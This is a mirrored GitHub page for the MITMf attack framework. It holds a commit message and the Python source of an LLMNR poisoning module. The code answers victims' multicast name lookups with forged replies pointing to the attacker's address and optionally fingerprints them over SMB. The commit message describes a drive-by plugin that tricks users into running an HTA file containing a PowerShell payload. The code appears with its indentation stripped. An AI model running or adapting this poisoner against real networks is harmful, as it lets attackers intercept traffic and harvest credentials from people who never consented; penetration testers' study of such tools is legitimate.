mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-16 10:03:52 -07:00
5e2f30fb89
- The inject plugin now uses beautifulsoup4 to actually parse HTML and add content to it as supposed to using regexes - The logging of the whole framework has been compleatly overhauled - plugindetect.js now includes os.js from the metasploit framework for os and browser detection, let's us fingerprint hosts even if UA is lying! - New plugin HTA Drive-by has been added, prompts the user for a plugin update and makes them download an hta app which contains a powershell payload - the API of the plugins has been simplified - Improvements and error handling to user-agent parsing - Some misc bugfixes
176 lines
No EOL
6.8 KiB
Python
176 lines
No EOL
6.8 KiB
Python
import socket
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import threading
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import struct
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import logging
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from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
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from core.logger import logger
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from core.configwatcher import ConfigWatcher
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from core.responder.fingerprinter.Fingerprint import RunSmbFinger
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from core.responder.packet import Packet
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from core.responder.odict import OrderedDict
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from core.responder.common import *
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formatter = logging.Formatter("%(asctime)s [LLMNRpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
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log = logger().setup_logger("LLMNRpoisoner", formatter)
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class LLMNRpoisoner:
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def start(self, options, ourip):
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global args; args = options #For now a quick way to make argparse's namespace object available to all
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global OURIP ; OURIP = ourip #and our ip address
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try:
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log.debug("OURIP => {}".format(OURIP))
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server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
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t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR
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t.setDaemon(True)
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t.start()
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except Exception as e:
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log.error("Error starting on port 5355: {}:".format(e))
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class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
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allow_reuse_address = 1
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def server_bind(self):
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MADDR = "224.0.0.252"
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self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
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self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
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Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(OURIP))
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UDPServer.server_bind(self)
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#LLMNR Answer packet.
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class LLMNRAns(Packet):
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fields = OrderedDict([
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("Tid", ""),
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("Flags", "\x80\x00"),
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("Question", "\x00\x01"),
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("AnswerRRS", "\x00\x01"),
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("AuthorityRRS", "\x00\x00"),
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("AdditionalRRS", "\x00\x00"),
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("QuestionNameLen", "\x09"),
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("QuestionName", ""),
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("QuestionNameNull", "\x00"),
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("Type", "\x00\x01"),
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("Class", "\x00\x01"),
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("AnswerNameLen", "\x09"),
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("AnswerName", ""),
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("AnswerNameNull", "\x00"),
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("Type1", "\x00\x01"),
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("Class1", "\x00\x01"),
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("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
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("IPLen", "\x00\x04"),
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("IP", "\x00\x00\x00\x00"),
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])
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def calculate(self):
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self.fields["IP"] = socket.inet_aton(OURIP)
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self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
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self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
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self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
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def Parse_LLMNR_Name(data):
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NameLen = struct.unpack('>B',data[12])[0]
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Name = data[13:13+NameLen]
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return Name
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# LLMNR Server class.
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class LLMNR(BaseRequestHandler):
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def handle(self):
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ResponderConfig = ConfigWatcher().config['Responder']
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DontRespondTo = ResponderConfig['DontRespondTo']
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DontRespondToName = ResponderConfig['DontRespondToName']
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RespondTo = ResponderConfig['RespondTo']
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RespondToName = ResponderConfig['RespondToName']
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data, soc = self.request
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try:
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if data[2:4] == "\x00\x00":
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if Parse_IPV6_Addr(data):
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Name = Parse_LLMNR_Name(data)
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if args.analyze:
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if args.finger:
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
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except Exception:
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log.warning("{} is looking for: {}".format(self.client_address[0], Name))
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else:
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log.warning("{} is looking for: {}".format(self.client_address[0], Name))
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if DontRespondToSpecificHost(DontRespondTo):
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if RespondToIPScope(DontRespondTo, self.client_address[0]):
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return None
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if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
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return None
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if RespondToSpecificHost(RespondTo):
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if args.analyze == False:
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if RespondToIPScope(RespondTo, self.client_address[0]):
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if RespondToSpecificName(RespondToName) == False:
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buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
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buff.calculate()
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for x in range(1):
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soc.sendto(str(buff), self.client_address)
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log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
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if args.finger:
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
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except Exception:
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log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
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pass
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if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
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buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
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buff.calculate()
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for x in range(1):
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soc.sendto(str(buff), self.client_address)
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log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
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if args.finger:
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
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except Exception:
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log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
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pass
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if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
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if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
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buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
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buff.calculate()
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for x in range(1):
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soc.sendto(str(buff), self.client_address)
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log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
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if args.finger:
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
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except Exception:
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log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
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pass
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if RespondToSpecificName(RespondToName) == False:
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buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
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buff.calculate()
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for x in range(1):
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soc.sendto(str(buff), self.client_address)
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log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
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if args.finger:
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
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except Exception:
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log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
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pass
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else:
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pass
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else:
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pass
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except:
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raise |